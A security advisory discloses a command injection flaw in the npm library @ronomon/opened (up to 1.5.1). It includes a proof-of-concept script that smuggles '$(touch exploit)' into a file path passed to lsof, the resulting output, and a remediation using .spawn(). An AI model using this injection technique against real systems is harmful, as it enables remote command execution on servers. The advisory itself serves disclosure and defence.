Command Injection Vulnerability In @Ronomon/Opened

NODE NODEJS JAVASCRIPT NPM RCE

Fábio Freitas Mar 23, 2021

Details Overview

Summary

The opened @ronomon/opened library, a node api used for checking if a certain file is opened on a system, is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input.
The root cause of the problem is in the line 87 of the index.js file which takes unsanitized potential untrusted input as part of a string which executed as a command through the “child_process” directive.

Product

@ronomon/opened up to 1.5.1

Impact

In the cases that this library is used in a project where the file to check may be defined by untrusted input, a malicious actor will be able to use this to inject malicious commands in the server hosting the Node JS application.

Steps To Reproduce

In order to reproduce this vulnerability, the following poc.js file can be created and executed (provided the affected package is already installed)

```
// poc.js
var Opened = require('@ronomon/opened');

var paths = ['/etc/passwd $(touch exploit)'];

Opened.files(paths,
  function(error, hashTable) {
    if (error) throw error;
    paths.forEach(
      function(path) {
        console.log(path + ' open=' + hashTable[path]);
      }
    );
  }
);
```

Expected Result:

A file named `exploit` has been created

```
/app/poc.js:9
    if (error) throw error;
               ^

Error: Command failed: lsof -F n -- "/etc/passwd $(touch exploit)"
/bin/sh: 1: lsof: not found

    at ChildProcess.exithandler (child_process.js:308:12)
    at ChildProcess.emit (events.js:314:20)
    at maybeClose (internal/child_process.js:1022:16)
    at Socket.<anonymous> (internal/child_process.js:444:11)
    at Socket.emit (events.js:314:20)
    at Pipe.<anonymous> (net.js:675:12) {
  killed: false,
  code: 127,
  signal: null,
  cmd: 'lsof -F n -- "/etc/passwd $(touch exploit)"'
}
total 12
-rw-r--r-- 1 root root    0 Mar 23 15:54 exploit
drwxr-xr-x 4 root root 4096 Feb 22 18:06 node_modules
-rw-r--r-- 1 root root  907 Feb 22 18:06 package-lock.json
-rw-rw-r-- 1 root root  298 Feb 26 11:07 poc.js
```

Remediation

As for the remediation, best practices recommend not using an API that can interpret a string as a shell command – or if this necessary using instead the .spawn() directive in which a new process is spawned using the binary in the first argument and the rest are arguments for it that will by default not be interpreted as shell commands.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @0xfabiof (Fábio Freitas).

Resources

1. Commit 7effe01